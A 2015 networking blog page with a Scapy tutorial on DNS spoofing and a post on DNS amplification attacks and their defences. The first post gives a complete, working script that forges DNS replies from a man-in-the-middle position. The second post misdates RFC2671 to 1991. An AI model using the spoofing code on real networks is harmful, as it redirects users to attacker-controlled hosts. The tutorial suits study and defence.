Friday, April 10, 2015

Scapy - MITM DNS example

This post is a starting point for the series of posts about Scapy - powerful tool written in python for packet crafting, sniffing and a lot more. It can be used in various combinations and literally could do anything.

Getting scapy

I won't talk much here. You can get scapy via pip, apt, from sources, etc. Installation process is covered all over the Internet.
apt-get install python-scapy
or
pip install scapy
or you may want to install scapy compatible with python3
pip install scapy-python3

Goal

Imagine, you have already acquired MITM status and you are somehow standing between user and the Internet. Scheme like this, for instance:


Goals are the following:
  1. Intercept user request to google DNS 8.8.8.8 trying to resolve ya.ru (A-query, of course).
  2. Send the spoofed response

Solution

We will use Scapy and python to do this.

How scapy sees packets

Run scapy from console:
# scapy
>>>
Now we'll do some sniffing:
>>> sniff(iface="eth4", filter="host 8.8.8.8", count=10, prn=lambda(x): x.show())

Explanation:

  • iface - interface we are trying to sniff some packets
  • filter - pcap-like filter
  • count - after catching this amount of packets - stop sniffing
  • prn - function, that will be executed for each sniffed packet. In our case, we are calling method show().
Here is what we get:
###[ Ethernet ]###
  dst= 00:a7:67:c3:5e:27
  src= f0:de:f1:ab:6a:c5
  type= 0x800
###[ IP ]###
     version= 4L
     ihl= 5L
     tos= 0x0
     len= 51
     id= 17360
     flags= 
     frag= 0L
     ttl= 64
     proto= udp
     chksum= 0x2026
     src= 192.168.70.12
     dst= 8.8.8.8
     \options\
###[ UDP ]###
        sport= 49034
        dport= domain
        len= 31
        chksum= 0x16f5
###[ DNS ]###
           id= 29196
           qr= 0L
           opcode= QUERY
           aa= 0L
           tc= 0L
           rd= 1L
           ra= 0L
           z= 0L
           ad= 0L
           cd= 0L
           rcode= ok
           qdcount= 1
           ancount= 0
           nscount= 0
           arcount= 0
           \qd\
            |###[ DNS Question Record ]###
            |  qname= 'ya.ru.'
            |  qtype= A
            |  qclass= IN
           an= None
           ns= None
           ar= None




###[ Ethernet ]###
  dst= f0:de:f1:ab:6a:c5
  src= 00:a7:67:c3:5e:27
  type= 0x800
###[ IP ]###
     version= 4L
     ihl= 5L
     tos= 0x0
     len= 99
     id= 50329
     flags= 
     frag= 0L
     ttl= 57
     proto= udp
     chksum= 0xa62c
     src= 8.8.8.8
     dst= 192.168.70.12
     \options\
###[ UDP ]###
        sport= domain
        dport= 49034
        len= 79
        chksum= 0x99c
###[ DNS ]###
           id= 29196
           qr= 1L
           opcode= QUERY
           aa= 0L
           tc= 0L
           rd= 1L
           ra= 1L
           z= 0L
           ad= 0L
           cd= 0L
           rcode= ok
           qdcount= 1
           ancount= 3
           nscount= 0
           arcount= 0
           \qd\
            |###[ DNS Question Record ]###
            |  qname= 'ya.ru.'
            |  qtype= A
            |  qclass= IN
           \an\
            |###[ DNS Resource Record ]###
            |  rrname= 'ya.ru.'
            |  type= A
            |  rclass= IN
            |  ttl= 7000
            |  rdlen= 4
            |  rdata= '213.180.204.3'
            |###[ DNS Resource Record ]###
            |  rrname= 'ya.ru.'
            |  type= A
            |  rclass= IN
            |  ttl= 7000
            |  rdlen= 4
            |  rdata= '93.158.134.3'
            |###[ DNS Resource Record ]###
            |  rrname= 'ya.ru.'
            |  type= A
            |  rclass= IN
            |  ttl= 7000
            |  rdlen= 4
            |  rdata= '213.180.193.3'
           ns= None
           ar= None

That is how scapy sees the packets. Each part of the packet could be easily reached and modified. For instance, we need to print just IDs of DNS queries and responses. Instead of x.show() we'll do:
>>> sniff(iface="eth4", filter="host 8.8.8.8", count=10, prn=lambda(x): x[DNS].id)
29196
29196

Let's start

Some initialization:
#!/usr/bin/env python

from scapy.all import *

iface = "eth0"
spoofed_ip = "10.0.0.2" # IP, we'd like the client to go to after spoofing
dns_server_ip = "8.8.8.8" # DNS server
domain_to_spoof = 'ya.ru.' # domain name to spoof
qtype_to_spoof = 1 # A - query
DEBUG=0 # disable or enable debug

Sniff the traffic (no explanation needed, I guess):
sniff(prn=dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof),\
iface=iface, filter="dst host %s and port 53" % dns_server_ip, count=10)

Let's have a look at functions and get an explanation line by line:
def dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof):
    global DEBUG
    def craft_dns(dst_ip, src_ip, dport, tid, qname):

        # ip
        ip = IP(src=src_ip, dst=dst_ip)
        
        # udp
        transport = UDP(sport=53, dport=int(dport))
    
        # dns
        dns = DNS(id=tid, qr=1, ancount=1,an=DNSRR(rrname=qname, rdata=spoofed_ip, ttl=3600))

        spoofed_pkt = ip/transport/dns

        if DEBUG: spoofed_pkt.show()

        return spoofed_pkt

    def get_packet(pkt):

        if not DNS in pkt:
            return False

        if DEBUG: pkt.show()

        # get src ip
        src_ip = pkt[IP].src

        # get dst ip
        dst_ip = pkt[IP].dst

        # get source port
        sport = pkt[UDP].sport

        # get tid
        tid = pkt[DNS].id

        # get query type
        qtype = pkt[DNS].qd.qtype

        # get qname 
        qname = pkt[DNS].qd.qname

        if qtype == qtype_to_spoof and qname == domain_to_spoof:
            print("Sniffed the packet. Spoofing.")            
            packet = craft_dns(src_ip, dst_ip, sport, tid, qname)
            send(packet)
            print("Packet sent")

    return get_packet

01: init our dns_mitm function with some parameters
Let's jump to line 20 and function get_packet.
As an argument, we receive a pkt - that is scapy's packet structure. Now we could do anything we like with the sniffed packet.

22: check if it is a DNS packet. It might be not in some weird cases.
25: if DEBUG is set to 1, we would see full sniffed packet
27-43: get some info, that will be used later in our script.
45: check if it is the packet we are looking for
47-48: craft and send the spoofed packet

Let's have a look at our craft_dns function at line 03.
06: create a spoofed IP header. You may noticed, that src and dst IPs are switched.
09: create UDP part: dport == sport from the sniffed packet.
12: DNS

  • id from the sniffed request
  • ancount =1 - we are sending just one reply structure
  • rrname = qname - it is query name from sniffed packet
  • rdata - spoofed ip address 
  • ttl - by default scapy sets ttl = 0
14: finally build spoofed packet
16: show spoofed packet, if debug is enabled


There are few notes anyhow:

1. If you are trying to sniff on some not standard interface (bridge, virtual iface, etc) filter might not work correctly. In that case you could use lfilter. filter uses pcap library, whereas lfilter uses python code. Here is an example with lfilter:
sniff(prn=dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof),\
iface="eth4", count=1000, lfilter = lambda(x): x.haslayer(IP) and x[IP].dst== dns_server_ip and x[UDP].dport == 53
lfilter is much slower then filter, so be prepared to have some lags on high pps.

2. The spoofing technique in this post is just an example. It would work only if you are sending replies faster then the DNS server. Also you may consider not forwarding user requests to DNS as long as you are MITM


That would be all, folks.

Thursday, April 9, 2015

DNS amplification - root cause

Overview

This article is about the root cause of DNS amplification. Why is it possible today? Why Internet could be killed in a matter of seconds? And the main question - how could we stop this attack from happening.

Amplification attack

This attack is a part of big DDoS family attacks - Distributed Denial of Service. This means, that there are few host over the Internet, whose actions lead to the service disruption.
Usually amplification attacks are aimed at bandwidth exhaustion.

There are few protocols that could be used to organize an amplification attack: DNS, NTP, Chargen, SNMP, ICMP and some more.

The lethal beauty of amplification attack is in its simplicity: by sending the small request (with spoofed address, of course) you get few times bigger response. The scheme below illustrates DNS amplification attack.



As you can see, an attacker sends 36 bytes requests to the server and the victim receives nearly 4 KBytes response (amplification factor is 50!). ANY-queries are the most frequent, when we are talking about DNS amplification.

The pic above illustrates amplification attack in real world.


One of the biggest DDoS attacks that took place in 2013 aimed at Spamhaus was performed using DNS amplification. It was told, that ~30 000 DNS servers was used to generate this 300 Gbit/s attack.

EDNS0

In 1991 RFC2671 was published. It was the first set of extensions for DNS protocol also known as EDNS0.
This set proposed to extend DNS to allow for new flags and response codes, and to provide support for longer responses. Before that the longest response possible over UDP was 512 bytes.

Longer responses made DNS amplification attacks feasible.

What should I do?

As you can see, DNS amplification is possible, because of the possibility of sending a packet with a spoofed address and because of poorly configured DNS servers.
There are number of techniques that could help to protect your DNS server from beign used for amplification attack.

Ingress filtering

Ingress filtering is a technique used by many ISPs to prevent source address spoofing. The idea is to check, whether the client is sending the traffic with the allocated address or not. The best current practises are documented by the IETF in year 2000 in BCP38 and then in 2004 in BCP84 (in case of multihomed networks).

DNS config


Recursive requests
If your DNS server is reachable from the Internet, then you shoud disable or limit recursive queries. An attacker could use or create a zone, that could be used for amplification attack. Disabling or limiting recursive queries would make the use of this vector of attack impossible.

Limit max UDP size
Sometimes it is good to set the maximum size of a response, that could be sent via UDP. By EDNS0 it is 4096. You may set it to 512 bytes, thus making your DNS server not so attractive for an attacker.

Rate limit
There are few options:
1) Limit requests by source IP - not very good, IPv6 is almost here, but still, there are lot's of users behind NAT. Means you could drop some legitimate requests.
2) Limit requests by zone or domain name - that might work, but still remember about legitimate requests.
3) Limit responses by destination IP - as DNS amplification is based on sending a crafted packet with spoofed address, this technique may work pretty well and again make your DNS server not so attractive for an attacker.